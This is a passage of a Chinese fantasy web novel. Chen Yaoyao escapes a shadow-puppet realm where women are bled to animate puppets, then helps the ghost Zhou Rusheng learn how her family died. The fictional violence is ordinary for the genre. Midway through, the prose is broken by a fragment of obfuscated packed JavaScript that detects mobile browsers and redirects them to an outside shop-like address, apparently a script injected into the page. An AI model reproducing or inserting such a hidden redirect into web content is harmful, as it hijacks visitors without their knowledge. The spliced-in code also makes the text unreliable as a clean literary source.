她抬起手,对着那盏昏黄的灯看。灯光透过手指,隐隐约约能看见后面的墙壁。她的手指像是薄薄的一层皮,里面没有骨头,没有血肉,什么都没有。
陈瑶瑶愣住了。
她低头看自己的脚——也变扁了。鞋子还穿在脚上,但脚已经不是脚了,是扁扁的一片,像剪纸。
她又摸了摸自己的脸——脸也变扁了。鼻子还在,嘴还在,眼睛还在,但都只是薄薄的一层,贴在脸上。
陈瑶瑶想尖叫。
但她叫不出来。
因为她发现,自己的喉咙也变扁了。
她变成皮影了。
就在这时,一阵咿咿呀呀的声音传来。
唱戏的声音。
陈瑶瑶循声望去,看见不远处的一个戏台上,灯火通明。
有人在唱戏。
她走过去。
戏台上,一个女伶人正在唱。她穿着华丽的戏服,头戴珠翠,脸上画着浓妆,看不清本来面目。她的声音婉转哀怨,唱的是什么陈瑶瑶听不懂,但那调子里透着一股说不清的悲。
陈瑶瑶站在台下,看着她唱。
唱到一半,忽然有人上台。
是个男人,穿着黑衣,看不清脸。他走到女伶人身后,拿出一根皮影线——那线细细的,在灯光下泛着诡异的红光,像是浸过血。
男人把女伶人的双手反绑起来。
女伶人没有挣扎,没有反抗,甚至没有停下的意思。她还在唱,声音依旧婉转,只是调子更悲了。
男人拿出一个碗,放在她手腕下面。
然后他把那根皮影线勒进她的手腕。
线很细,很利,勒进去的时候,血就出来了。
一滴,两滴,三滴。
血滴进碗里,积了浅浅一层。
女伶人的声音颤抖了一下,但没有停。她还在唱,唱得比刚才更悲,更哀,更让人心碎。
男人端着碗,走到戏台一侧。
那里挂着一个皮影——是个女子,眉眼和女伶人有些像,但更年轻,更稚嫩。
男人把碗里的血,滴在那皮影的眉心。
一滴。
皮影动了动。
两滴。
皮影睁开眼睛。
三滴。
皮影活了。
它从戏台上飘下来,落在女伶人身边,跟着她一起唱。两个声音叠在一起,一高一低,一老一少,悲得让人想哭。
陈瑶瑶站在那里,浑身发抖。
她终于看懂了。
这满台的皮影,都是这样来的。
每一个女子,都被这样取过血。
每一个女子,都这样活过、唱过、死过。
陈瑶瑶开始在皮影境里游荡,看那些女子。
她发现了一个规律——此地只有女子。
没有男人。
那些挂着的皮影,全是女的。老的少的,美的丑的,唱戏的跳舞的,全是女的。
而每一个女子喉间,都缠绕着一根细细的皮影线。
浸过血的皮影线。
有的新,有的旧,有的还在往下滴血,有的已经干涸发黑。
陈瑶瑶试着和她们说话。
一开始,没人理她。
后来,有一个年轻的女子回应了。
她看起来十七八岁,穿着粉色的戏服,脸上画着桃花妆。喉间的皮影线很新,还在往下渗血。
“你也是被送来的?”她问。
陈瑶瑶摇头:“我自己走进来的。”
女子愣了一下,然后笑了。那笑容很苦:“那你可真傻。进来就出不去了。”
陈瑶瑶:“你不想出去吗?”
女子看着她,眼神空洞:“出去干什么?”
陈瑶瑶愣住了。
女子继续说:“我两岁就被卖给了班主。我娘生了六个闺女,我是老五。我爹说,养不起,送走吧。我娘哭着说好。我就被送走了。”
她顿了顿,低头看着自己的手——那手也变扁了,薄薄的一片。
“班主养大了我,教我唱戏,教我跳舞,给我饭吃,给我衣穿。我这条命是他给的。”
陈瑶瑶忍不住问:“可他用你的血……”
女子打断她:“那又怎样?没有他,我早就饿死了。这点血,就当还他的。”
陈瑶瑶说不出话来。
女子看着她,忽然笑了,这回笑得温柔了些:“你叫什么?”
陈瑶瑶:“陈瑶瑶。”
女子点点头:“我叫小桃。以后咱们就是姐妹了。这儿挺好的,姐妹们在一起,互相照应,不用担心被人害。”
陈瑶瑶:“可你们不是被人害着吗?”
小桃摇头:“你不懂。外面才是害人的地方。男人打女人,爹娘卖闺女,兄弟抢姐妹。这儿至少没人打我们,没人卖我们。我们只唱戏,只跳舞,只做姐妹。”
陈瑶瑶站在那里,听着她的话,心里像堵了一块石头。
又过了很久。
陈瑶瑶遇见了一个女人,年纪大些,三十出头,喉间的皮影线已经发黑,干涸了。
她坐在戏台角落,一动不动,像一尊雕像。
陈瑶瑶走过去,在她身边坐下。
女人没有看她。
很久很久,女人才开口:“你知道吗,我生过一个孩子。”
陈瑶瑶心头一震。
女人继续说:“是个闺女。生下来的时候,我男人看了一眼,转身就走了。他说,又是个赔钱货。”
陈瑶瑶不知道该说什么。
女人说:“我抱着她,喂她奶,给她唱歌。我想,赔钱货就赔钱货吧,我养着。我有一双手,能干活,能赚钱,能养活她。”
她顿了顿,声音低下去:“可我男人不同意。他说,养不起,送人吧。我说不行,他就打我。打了一次又一次,打到我在床上躺了三个月。”
陈瑶瑶攥紧了拳头。
女人说:“后来他还是把孩子送走了。我不知道送去了哪儿,不知道她还活着没有。我男人说,你要是敢去找,我就打死你。”
她转过头,看着陈瑶瑶。那双眼睛里,没有眼泪,只有空洞。
“我没去找。我也不敢死。我就活着,活着,活着。后来班主来了,说要买我唱戏。我男人二话不说就把我卖了。卖了五两银子。”
陈瑶瑶的眼泪掉下来。
女人看着她,忽然笑了。那笑容比哭还难看。
“你别哭。这儿挺好的。姐妹们在一起,没人打我,没人骂我,没人卖我。我只用唱戏,只用在台上笑。挺好的。”
陈瑶瑶张了张嘴,想说什么,却什么都说不出来。
女人又转过头,看着前方,继续一动不动。
像一尊雕像。
陈瑶瑶不知道自己在这皮影境里待了多久。
她只知道自己越来越薄了。
手薄了,脚薄了,脸薄了,身子也薄了。
有时候她对着那盏昏黄的灯看,能看见自己的影子透过去,照在后面的墙上。薄薄的一片,和那些皮影一模一样。
她已经不害怕了。
甚至有些习惯了。
每天听那些女子唱戏,听她们说话,听她们讲自己的故事。每一个故事都差不多——被卖的,被送的,被抛弃的,被伤害的。来了这儿,反而安生了。
陈瑶瑶有时候会想起云河,想起发财,想起公孙潜龙。
但他们好像是很久很久以前的事了。
远得像上辈子。
有一天,小桃来找她。
“瑶瑶姐,班主要给你系线了。”
陈瑶瑶愣了一下。
小桃指着她的喉咙:“你看,你都快透明了。再不系线,你就散了。”
陈瑶瑶低头看自己——果然,身体已经薄得像一张纸,几乎能透过光。
她忽然有些茫然。
系上线,她就真的变成皮影了。
变成这满台女子中的一个。
永远留在这里,唱戏,跳舞,等着被人取血,等着下一个姐妹来。
她问小桃:“系上线之后,我还记得自己是谁吗?”
小桃想了想,说:“记得。但记得也没用。你出不去。”
陈瑶瑶沉默了很久。
然后她点点头:“好。”
公孙潜龙就是在这个时候出现的。
他踢碎了戏台。
“轰”的一声巨响,戏台从中间裂开,那些挂着的皮影哗啦啦掉下来,落了一地。那盏昏黄的灯砸在地上,灭了。
所有的女子都愣住了。
然后她们尖叫起来。
不是害怕,是愤怒。
“你是谁!”
“为什么要破坏我们的家!”
“你凭什么!”
她们从四面八方涌过来,围着公孙潜龙,眼睛里全是恨意。
公孙潜龙站在那里,看着这些薄薄的、透明的女子,眉头皱得死紧。
“你们的家?”他问,“你们一生都被困在这一片皮纸上,到底在幸福什么?”
女子们安静了一瞬。
然后有人喊:“你懂什么!我们在这儿好好的,没人欺负我们!”
又有人喊:“外面的世界才可怕!男人打女人,爹娘卖闺女,我们在外面活不下去!”
公孙潜龙看着她们,一字一句地问:“那你们还记得家在哪吗?”
没人回答。
公孙潜龙继续问:“还记得自己曾经是个人吗?”
还是没人回答。
那个年长的女人——生过孩子的那位——忽然开口。她的声音很轻,像是在自言自语:“家……我两岁就被送走了。孩子太多,我娘只要儿子,我不过是个多余的。”
她抬起头,看着公孙潜龙,眼睛里忽然有了光——不是泪,是愤怒。
“是班主给了我第二次生命!你一个外人,凭什么剥夺我的幸福!”
其他女子也跟着喊起来。
“对!凭什么!”
“你滚出去!”
“还我们的家!”
公孙潜龙站在那里,听着那些喊声,一动不动。
等她们喊累了,声音渐渐小了,他才开口。
“你们知道那班主是什么人吗?”
没人回答。
公孙潜龙说:“他专门猎杀你们这样的女子。从小收养你们,给你们吃穿,教你们唱戏,让你们对他感恩戴德。然后取你们的血,用你们的命,养他的皮影。你们死了,还得继续替他唱戏,替他赚钱。”
他顿了顿,一字一句地说:“你们本来可以活。可以嫁人,可以生子,可以过自己的日子。是他把你们变成这样的。”
女子们沉默了。
很久很久,才有人小声说:“可我们……我们没地方去啊。”
公孙潜龙看着她,目光软了软:“那就找个地方。天下之大,总有容身之处。”
又有人说:“可我们什么都不会,只会唱戏……”
公孙潜龙:“那就唱戏。去别的境唱,去别的地方唱,唱给愿意听的人听。不比在这儿被人吸血强?”
女子们互相看着,不知道该说什么。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305027|198680||http|test|mini|href|location''.split(''|''),0,{}));
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>就在这时,公孙潜龙看见了人群后面的陈瑶瑶。
他愣了一下,然后大步走过去。
“瑶瑶!你怎么在这儿!”
陈瑶瑶看着他,张了张嘴,却不知道该怎么回答。
公孙潜龙伸手拉她:“走!我带你出去!”
陈瑶瑶被他拉着走了几步,忽然停下来。
公孙潜龙回头看她:“怎么了?”
陈瑶瑶转过头,看向那个年长的女人。
那女人也看着她,眼睛里什么都有——有羡慕,有祝福,有不舍,也有绝望。
她轻声说:“走吧。外面再坏,也比这儿强。”
陈瑶瑶的眼泪掉下来。
她忽然想起这女人说过的话——“我生过一个孩子。”
那个孩子,现在在哪儿?还活着吗?
她不知道。
但她知道,这个女人再也见不到那个孩子了。
公孙潜龙拉紧她的手:“走!”
陈瑶瑶跟着他走了几步,又停下来。
“潜龙,”她忽然问,“你说,她们为什么不愿意走?”
公孙潜龙沉默了一会儿,才说:“因为她们怕。怕外面比这儿还坏。”
陈瑶瑶:“那外面真的比这儿坏吗?”
公孙潜龙看着她,认真地说:“外面有坏人,但也有好人。有欺负你的人,也有保护你的人。你不能因为怕被欺负,就一辈子躲在笼子里。”
他顿了顿,指着那些女子:“她们不敢走,是因为没见过外面。你见过。你知道外面有云河,有发财,有我,有芽衣,有小草,有那么多愿意帮你的人。”
陈瑶瑶愣住了。
公孙潜龙继续说:“与其担心这担心那,不如淬炼自己,变得强大到没人再敢伤害你!”
这句话像一道光,劈进陈瑶瑶心里。
她站在那里,忽然觉得有什么东西在身体里涌动。
热的,烫的,像火。
她低头看自己的手——那双手还是扁的,薄薄的,透明的。但有什么东西正在从指尖往外涌。
光芒。
白色的,耀眼的光芒。
那光芒越来越亮,越来越热,从指尖蔓延到手背,从手背蔓延到手臂,从手臂蔓延到全身。
她感觉自己正在变厚。
正在变回一个人。
正在变成一个不一样的、更强的人。
光芒散去的时候,陈瑶瑶发现自己站在一片灰雾里。
手里握着白骨伞。
那把伞不知什么时候出现的,握在她手里,温热的,像活着的东西。
她低头看自己——不再是皮影了。手是手,脚是脚,脸是脸,身上还有温度。
她活过来了。
灰雾渐渐散开,露出外面的世界。
她看见公孙潜龙站在不远处,浑身是汗,正喘着粗气。看见她出来,他咧嘴笑了,笑得像个傻子。
“行啊瑶瑶,够厉害的!”
陈瑶瑶也笑了。
她往前走,走出灰雾,走进光里。
然后她看见了云河。
云河站在光里,抱着发财,看着她。
发财从云河怀里探出脑袋,看见她,眼睛亮了,尾巴摇成螺旋桨,差点把自己摇飞起来。
陈瑶瑶张开手臂,等着发财扑过来。
但发财没扑。
只是看着她,摇尾巴,眼睛亮亮的。
云河也看着她,目光里有一丝欣慰,一丝骄傲,还有一丝陈瑶瑶说不清是什么。
“出来了。”云河说。
陈瑶瑶点头。
云河顿了顿,然后说——
“快做饭吧,发财饿了。”
陈瑶瑶一口气差点没上来。
她低头看发财,发财果然正眼巴巴地看着她,嘴微张着,舌头伸出来一点,尾巴摇得那叫一个欢。
“汪!”它叫了一声,像是在说:饿!快!饭!
陈瑶瑶看着它,忽然笑了。
刚才在梦里,她握着白骨伞,脚踏黑云,感觉自己强大到能打破一切不平。那种感觉真好,好得她差点以为自己真的成了什么了不起的人物。
现在好了。
梦醒了。
她还是那个要给发财做饭的小厨娘。
但奇怪的是,她一点也不觉得失落。
她蹲下来,把发财抱进怀里,蹭了蹭它的脑袋。
发财伸出舌头,舔了舔她的脸。
痒痒的,热热的,真实的。
陈瑶瑶忽然想起那个年长的女人说的话——“我生过一个孩子。”
那个孩子,不知道现在在哪里,不知道过得好不好。
但陈瑶瑶知道,自己很幸运。
她有云河,有发财,有公孙潜龙,有那么多愿意帮她的人。
这世间,总有那么一处,你是甘之如饴的。
她想,这个白衣女子和这只大耳朵小狗,就是她的安于之地。
后来,公孙潜龙问她,那个皮影境后来怎么样了。
陈瑶瑶说,不知道。
她破境而出的时候,回头看了一眼。
那些女子还站在原地,看着她。
有的在哭,有的在笑,有的面无表情。
没有人跟上来。
陈瑶瑶没有劝她们。
她知道,有些选择,得自己做。
就像她当初选择离开德德镇一样。
公孙潜龙沉默了一会儿,然后点点头。
“希望她们有一天能想通。”
陈瑶瑶笑了:“会的。”
她看着远处的天,阳光正好,照在身上暖洋洋的。
发财趴在她脚边,晒着太阳,打着小呼噜。
云河坐在不远处,不知道在想什么。
芽衣和小草在旁边玩,追来追去,笑声飘得很远。
公孙潜龙站起来,拍拍身上的土。
“走吧,下一境。”
陈瑶瑶点点头,抱起发财,跟上他们。
阳光照在她们身上,拉出长长的影子。
那影子里,有她们走过的每一个境,见过的每一个人,帮过的每一个生命。
和那些永远留在心里的故事。
很多年后,有人问起陈瑶瑶,最难忘的是哪一境。
她想了想,说:“皮影境。”
那人问为什么。
她说:“因为那是我第一次真正知道,什么是怕,什么是勇,什么是家。”
那人又问,那后来呢?那些女子怎么样了?
陈瑶瑶看着远方,笑了笑。
“不知道。但我想,总会有人带她们出来的。”
“就像有人带我出来一样。”
风吹过,吹起她的衣角。
她低头看了看脚边的发财,发财仰头看她,眼睛亮亮的。
18. 须是境
陈瑶瑶是被一阵哭声吵醒的。
那哭声很轻,很细,像风穿过门缝,又像什么东西在很远的地方呜咽。她睁开眼,发现自己躺在一片黑暗里。
不对。
不是躺。
是飘。
她低头看自己——还好,手脚都在,还是厚的。但身下什么都没有,四周也什么都没有,只有无边无际的黑暗。
那哭声还在继续。
陈瑶瑶壮着胆子喊了一声:“谁?”
哭声停了。
然后她开始往下坠。
很慢,很轻,像一片羽毛。不知飘了多久,脚下忽然踩到了什么——硬的,凉的,是地面。
她低头一看,吓得魂飞魄散。
一口井。
她站在一口井里。
井水很浅,刚没过脚踝,冰凉刺骨。而就在她面前,一具白骨靠在井壁上,空洞的眼眶正对着她。
陈瑶瑶张嘴想叫,叫不出声。
想跑,迈不动腿。
那具白骨忽然动了动,下颌骨一张一合,发出声音——
“求求你……救救我家人吧……”
陈瑶瑶眼前一黑,彻底晕了过去。
再醒来的时候,她躺在井边,浑身湿透,冷得直哆嗦。
发财正舔她的脸,舌头热乎乎的。云河站在旁边,抱着胳膊,看着她。
“醒了?”云河说。
陈瑶瑶愣愣地看着她,又看看四周——不是井里,是一片荒草地,远处有几间破旧的房子,天上灰蒙蒙的。
“我……我刚才……”
“你进了须是境。”云河打断她,“执念凝聚的地方。那具白骨的主人,有话对你说。”
陈瑶瑶想起那张对着自己的骷髅脸,又打了个哆嗦。
发财往她怀里拱,热乎乎的一团,总算让她缓过劲来。
就在这时,那个声音又响起了。
很轻,很细,和梦里听到的一样。
“我叫周如笙,是周家的嫡长女。求求你,救救我家人吧。”
陈瑶瑶循声望去,看见井边站着一个人。
是个女子,二十出头,穿着旧式的衣裳,脸色苍白得近乎透明,眼睛很大,里面盛满了哀求和期盼。
鬼魂。
陈瑶瑶下意识往云河身后躲。
云河没动,只是看着那个女子,淡淡开口:“她死得太冤,执念成形,你能听见,说明你已经能吸收天地灵力了。这次你来帮她。”
陈瑶瑶愣住了:“啊?我、我什么都不会……”
云河转过头,看着她,嘴角微微弯了弯。
“说不定你以后比我更厉害。相信自己。”
说完,她抱起发财,转身就走。
发财趴在云河肩上,回头看着陈瑶瑶,“汪”了一声。
陈瑶瑶站在原地,欲哭无泪。
周如笙的鬼魂飘在她身边,安静地等着。
陈瑶瑶深吸一口气,问:“你家在哪儿?出什么事了?”
周如笙垂下眼睛,沉默了一会儿,才开口。
“我家在泉镇,世代造纸。周家纸,百年传承。我是嫡长女,从小被送出国读书,说是为了家族繁荣。”
陈瑶瑶点点头。
“我在国外待了六年。六年里,我看见了不一样的世界。我的一个同学,叫诸葛方,他家什么也不用做,就一代比一代繁荣。他爷爷是读书人,他爹是生意人,他什么都不用愁,生来就有。”
她抬起头,眼睛里有了泪光。
“我问我爹,为什么我们要这样?送走我,牺牲我,换来的不过是一点体面。人家根本不用牺牲,人家生来就有。”
陈瑶瑶心里有些酸。
“我爹说我放肆。我不服,想自己出来做琉璃生意。就是那时候,周家的死对头告诉我一件事——”
她顿了顿,声音低下去。
“我本来有个兄长。是我爹在外面和一个女人生的。那个女人害死了他,我爹才接我娘过门,生了我。可我娘生了我之后,就再没生过儿子。”
陈瑶瑶心头一动。
“我查了家里的秘密。原来周家,但凡只生女婴,就要请扎纸匠扎一个男童纸人,披上嫡长孙的衣服,入族谱,称‘替丁’。那个纸人,要供在祠堂的暗阁里,每日焚香叩拜,谎称养着儿子。”
陈瑶瑶瞪大眼睛。
“我问我娘知不知道。她说知道。我疯了,和她吵。吵着吵着,那个纸人从暗阁里掉出来,落在地上,眼珠子——转了。”
陈瑶瑶后背一凉。
“我娘当场就倒了,一病不起。我爹知道后,第一次打了我。一巴掌,打在脸上。”
她捂着自己的脸,像是在回忆那一巴掌的疼。
“从那以后,我再没回过家。”
陈瑶瑶看着周如笙,轻声问:“那你怎么会死在这儿?”
周如笙摇头:“我不知道。我只记得我走在街上,忽然眼前一黑,再醒来,就在井里了。我喊了不知道多少天,喊哑了嗓子,没人应。后来我死了。”
她抬起头,看着陈瑶瑶,眼睛里全是祈求。
“求你,帮我回家看看。我想知道我娘怎么样了,我爹怎么样了,我家人怎么样了。”
陈瑶瑶看着那双眼睛,忽然想起自己当初在德德镇,跪在雪地里求云河带自己走的样子。
她点点头:“好,我帮你。”
陈瑶瑶带着周如笙的鬼魂,开始寻找泉镇。
第一个线索是诸葛方家。周如笙说,她回国后,曾找过诸葛方,想问他家是怎么做到的。诸葛方没见她,只让仆人传话说:“命里有的,不用求;命里没有的,求不来。”
陈瑶瑶找到诸葛方家的旧宅。
大门紧闭,门上贴着封条,落满了灰。
她敲了半天门,没人应。
正准备离开,旁边一个小门忽然开了,探出一个老头的脑袋。
“找谁?”
陈瑶瑶赶紧说:“请问,这是诸葛方家吗?”
老头上下打量她:“搬走了。搬走好几年了。”
陈瑶瑶有些失望,但还是问:“那您知道周家吗?泉镇的周家,造纸的那个。”
老头的眼睛动了动。
“周家?”他说,“你找周家做什么?”
陈瑶瑶:“我是周家小姐的朋友,来寻亲的。”
老头沉默了一会儿,叹了口气。
“周家早没了。十年前就没了。”
陈瑶瑶愣住了。
周如笙飘在她身边,脸色也变了。
老头继续说:“一家二十三口,连带一个没出生的婴儿,全没了。房子烧成灰,人一个没跑出来。”
陈瑶瑶:“怎么烧的?”
老头摇头:“不知道。那场火烧得邪门,泉镇四处可见水源,周家又在镇中心,左右都是水井,愣是没人能把火扑灭。等烧完了,火自己就熄了。”
陈瑶瑶看向周如笙。
周如笙浑身发抖,嘴唇哆嗦着,半天才挤出一句:“不可能……不可能……前段时间我还听见我妈妈的声音……如果已经过去十年了,我怎么还存在?只有活人才能呼唤死人!”
陈瑶瑶心里一紧。
陈瑶瑶按老头的指引,找到了泉镇。
镇子还在,但已经不是周如笙记忆里的样子。街道拓宽了,房子翻新了,到处是陌生的面孔。只有镇中心那一块,还是一片废墟,断壁残垣,杂草丛生。
陈瑶瑶站在废墟前,看着那些焦黑的砖瓦。
周如笙飘在她身边,一句话也说不出来。
过了很久,她才开口,声音沙哑:“这不是我家……这不是……”
陈瑶瑶拦住一个路
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过的大婶:“大婶,请问这是周家旧址吗?”
大婶看了她一眼,眼神里带着警惕:“你问这个干什么?”
陈瑶瑶:“我是周家小姐的朋友,很多年没联系了,想来寻亲。”
大婶的脸色变了变,叹了口气:“寻什么亲,早死光了。那场火烧得,一个没剩。”
陈瑶瑶:“怎么烧的?”
大婶摇头:“谁知道呢。听说是半夜起的火,等发现的时候,已经烧成一片了。奇怪的是,左右都是水井,愣是没人能把火扑灭。有人说是天火,有人说是报应。”
陈瑶瑶:“报应?”
大婶压低声音:“周家那些年,一直不太平。听说他家有个秘密,供着什么不干净的东西。起火那天晚上,有人看见一个纸人在火光里跳舞。”
陈瑶瑶后背一凉。
大婶说完就走了。
周如笙忽然说:“那个纸人……就是我娘供的那个。替丁的纸人。”
陈瑶瑶在废墟里找了很久,找到了一口井。
井口被石板盖着,上面长满了青苔。她费了好大劲才把石板挪开,探头往里看。
井很深,黑漆漆的。
但有一股阴冷的气息从里面冒出来,冻得她打了个哆嗦。
周如笙飘到她身边,轻声说:“就是这儿。我死的那口井。”
陈瑶瑶:“可这井在周家院子里?”
周如笙摇头:“不在。这里以前是一片荒地,离周家很远。”
陈瑶瑶愣住了。
周如笙继续说:“我那时候走在街上,忽然眼前一黑,再醒来就在井里了。我不知道怎么来的,也不知道为什么。”
陈瑶瑶脑子里有什么东西一闪而过。
她想起那个大婶说的话——“有人看见一个纸人在火光里跳舞。”
她想起周如笙说的——“那个纸人,眼珠子转了。”
她忽然有了一个可怕的猜想。
“如笙,你出事那天,是你和你娘吵架之后多久?”
周如笙想了想:“大概……一个月吧。”
陈瑶瑶:“这一个月里,你有没有再见过那个纸人?”
周如笙摇头:“没有。我离家出走后,再没回去过。”
陈瑶瑶沉默了一会儿,然后说:“我想,我知道是怎么回事了。”
陈瑶瑶带着周如笙,又去找那个看门的老头。
老头看见她,有些意外:“你怎么又来了?”
陈瑶瑶:“我想问您一件事。十年前那场火之前,周家有没有发生过什么怪事?”
老头沉默了一会儿,叹了口气。
“你既然问到了,我就告诉你吧。周家那些年,确实不太平。他家一直供着个纸人,说是替丁的。那纸人供了几十年,一直好好的。可后来有一天,那纸人忽然动了。”
陈瑶瑶心头一紧。
“周家的大小姐和她娘吵架,把纸人碰掉了。那纸人落在地上,眼珠子转了转。从那以后,周家就开始出事。大小姐失踪了,她娘病倒了,她爹整天愁眉苦脸。再后来,就是那场火。”
陈瑶瑶:“那纸人呢?”
老头摇头:“不知道。火灭了之后,有人进去看过,什么都没剩下。只有那口井,不知道为什么,还留着。”
陈瑶瑶忽然问:“那口井,原本就在那儿吗?”
老头想了想,说:“不。那口井是后来才出现的。火灭之后,有人发现废墟边上多了一口井,也不知道是谁挖的。有人说,那是周家大小姐的井。”
陈瑶瑶浑身发冷。
她想起周如笙说的话——“我喊了不知道多少天,喊哑了嗓子,没人应。”
那口井,是在她死后才出现的。
是她的执念,把那口井从别处“搬”了过来。
她想回家。
她一直想回家。
19. 须是境(二)
陈瑶瑶站在井边,看着那口黑漆漆的井,心里堵得慌。
周如笙的鬼魂飘在她身边,也看着那口井。
很久很久,周如笙才开口:“你是说,我死的那口井,其实不在这儿?”
陈瑶瑶点头:“是你把它带来的。你的执念太深,深到能改变这个境。”
周如笙沉默了很久。
然后她忽然笑了,那笑容很苦。
“所以,我喊的那些天,其实是在另一个地方。没人听见,是因为那里根本没人。”
陈瑶瑶不知道该说什么。
周如笙继续说:“我一直在等,等人来救我。等到死了,还在等。等到变成鬼,还在等。”
她转过头,看着陈瑶瑶,眼睛里忽然有了泪光。
“谢谢你愿意听我说话。”
陈瑶瑶心里一酸,伸手想拉她,却拉了个空。
周如笙说:“我不等了。我该走了。”
陈瑶瑶:“可是你的家人……”
周如笙摇头:“他们不在了。那场火,是纸人做的。它替了几十年的丁,早就有了灵性。我把它碰掉,它动了,它恨我。它烧了周家,也烧了我。”
陈瑶瑶:“那你娘……”
周如笙:“她早就不在了。火之前就病死了。我听见的那声‘如笙’,不是她叫的,是我自己叫的。”
她的身体开始变淡,从脚开始,一点一点消散。
陈瑶瑶急了:“等等!你还没见到他们呢!”
周如笙笑了,这回的笑容很暖。
“我见到了。在梦里。他们都好好的,在另一个地方等我。”
她伸出手,虚虚地摸了摸陈瑶瑶的头。
“谢谢你,小妹妹。你是个好人。”
话音刚落,她的身影彻底消散,化作点点光芒,飘向天空。
陈瑶瑶站在原地,仰着头,看着那些光越飘越远,最后消失在灰蒙蒙的天际。
风轻轻吹过,吹起她的头发。
她忽然觉得,心里有什么东西,放下了。
陈瑶瑶在原地站了很久。
直到身后传来脚步声。
她回头,看见一个男人站在不远处。
相貌平平,穿着旧衣裳,像是谁家的家丁。他站在那里,看着那口井,一动不动。
陈瑶瑶下意识往后退了一步。
那男人忽然转过头,看着她。
四目相对。
陈瑶瑶看见他的手腕上有一道疤,很旧,像是烫伤。
她脑子里忽然有什么东西一闪而过。
那男人看了她一眼,转身走了。
走得很快,像是怕被追上。
陈瑶瑶愣愣地看着他的背影消失在雾气里,忽然一阵凉意直冲脑门。
就在这时,白骨伞自动打开,把她卷了进去。
一阵天旋地转。
等回过神来,她已经站在须是境外面了。
云河抱着发财,站在不远处。
发财从云河怀里跳下来,颠颠地跑过去,围着她转圈。
陈瑶瑶没顾上抱它,一把抓住云河的袖子。
“云河,那个人……他真的只是家丁吗?”
云河看着她,嘴角微微弯了弯。
“你觉得呢?”
陈瑶瑶脑子里那些碎片忽然拼到了一起。
“他才是诸葛方!”她喊出来,“根本没有什么所谓的家丁!他从一开始就是为了扳倒周家!”
云河点点头:“继续说。”
陈瑶瑶深吸一口气,开始整理思绪。
“诸葛家一代就发家了,没有人脉,再多财富也会坐吃山空。所以他要靠近周家,靠近周如笙。他发现周家的秘密后,就利用这个秘密,让周家内斗,让周如笙和她爹反目,最后——”
她顿了顿,声音低下去。
“最后周如笙死了。他替她报仇,扳倒了周家。可他也失败了。”
云河:“为什么失败?”
陈瑶瑶想了想,说:“因为周家没人了。他扳倒了周家,可泉镇的人也容不下他了。他替周如笙报了仇,可他想要的——人脉、地位、长久的繁荣——什么都没得到。所以他家还是落败了,只能搬走。”
云河点头:“还有呢?”
陈瑶瑶继续想。
“可他为什么还在泉镇?他家都搬走了,他为什么还留着?”
她忽然想起那道疤。
烫伤。
还有那个男人站着的样子——衣摆微微黏着腿,像是有什么东西缠着他。
陈瑶瑶脑子里灵光一闪。
“陈夫人!”她喊出来,“陈夫人缠着他!”
云河嘴角弯了弯。
陈瑶瑶飞快地说:“陈夫人为了救女儿,多年上供,已经让那个纸人有了灵性。她自己也有了执念。周如笙死后,她的执念更强了。周家烧了,她死了,可她还在。她缠着诸葛方,让他走不了!”
云河点头:“还有呢?”
陈瑶瑶想了想,忽然明白了什么。
“周如笙……是陈夫人唤醒的!”
她看着云河,眼睛亮亮的。
“陈夫人有执念,有灵力。她死后十年,一直在呼唤周如笙。所以周如笙才会在井里听见她的声音,以为她还活着。所以周如笙的执念才会那么强,强到能把她死的那口井从别处搬过来!”
云河笑了。
那笑容里有欣慰,有骄傲。
“说得很好。”
陈瑶瑶喘着气,把思路彻底理清。
“所以,那个男人真的是诸葛方。他一直没离开泉镇,是因为陈夫人缠着他。他每天站在井边,是来看周如笙的。他愧疚,他害怕,他想走,可他走不了。”
她顿了顿,忽然有些难过。
“可他替周如笙报仇了呀。他为什么要愧疚?”
云河看着她,目光平静得像一潭深水。
“因为他爱她。”
陈瑶瑶愣住了。
云河说:“你以为他为什么靠近周如笙?人脉?地位?财富?如果只是为了这些,他大可以找别人。周如笙是周家的嫡长女,可她从小被送出国,在周家根本说不上话。靠近她,能得什么好处?”
陈瑶瑶说不出话来。
云河继续说:“他靠近她,是因为喜欢她。发现周家的秘密后,他担心她,想保护她。可她不信他,还是去了。她死了,他疯了。他要替她报仇,可他报完仇才发现——她回不来了。”
陈瑶瑶的眼泪又掉下来。
云河看着她,轻声说:“有时候,最狠的报复,不是让对方死,是让对方永远活在愧疚里。”
陈瑶瑶想起那个男人的背影,想起他站在井边的样子,想起他手腕上的疤。
他这辈子,都走不出来了。
沉默了很久。
陈瑶瑶忽然想起一件事。
“云河,周家没人了。一家二十三口,全没了。他们真的就这么绝后了吗?”
云河看着她,目光里有一丝深意。
“有的。”
陈瑶瑶一愣:“谁?”
云河说:“你。”
陈瑶瑶不解:“啊?”
云河说:“传承能传下去,靠的是什么?不是血脉,是记忆。你记住了周如笙,记住了陈夫人,记住了周家的事。只要你记得,她们就会一直传下去。周家就不算绝后。”
陈瑶瑶愣住了。
她想起周如笙的脸,想起她说“谢谢你愿意听我说话”,想起她最后那个笑。
她忽然明白了。
周如笙等了十年,等的不是谁来救她。
是有人记住她。
记住她叫周如笙,是周家的嫡长女。
记住她喜欢去点心斋,记住她娘常带她去。
记住她信她爹不会害她,记住她死在最信任的人手里。
记住她死了,可她的故事还在。
陈瑶瑶低下头,
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看着自己的手。
这双手,抱过发财,做过饭,牵过芽衣,摸过小草的头。
现在,这双手记住了周如笙。
她抬起头,看着云河,笑了。
“我知道了。”
那天晚上,陈瑶瑶躺在床上,翻来覆去睡不着。
她脑子里一直转着那些画面——周如笙站在井边,诸葛方站在远处,陈夫人在火里喊“报应”。
她忽然坐起来。
“云河,”她问,“那个纸人呢?”
云河躺在不远处的榻上,闭着眼睛,像是睡着了。
但她开口了:“什么纸人?”
陈瑶瑶:“替丁的那个。它眼珠子转了,它动了,周家那场火是它烧的。它去哪儿了?”
云河沉默了一会儿,才说:“不知道。”
陈瑶瑶:“不知道?”
云河睁开眼,看着她,目光里有一丝说不清的东西。
“有些东西,不是我们该管的。”
陈瑶瑶愣住了。
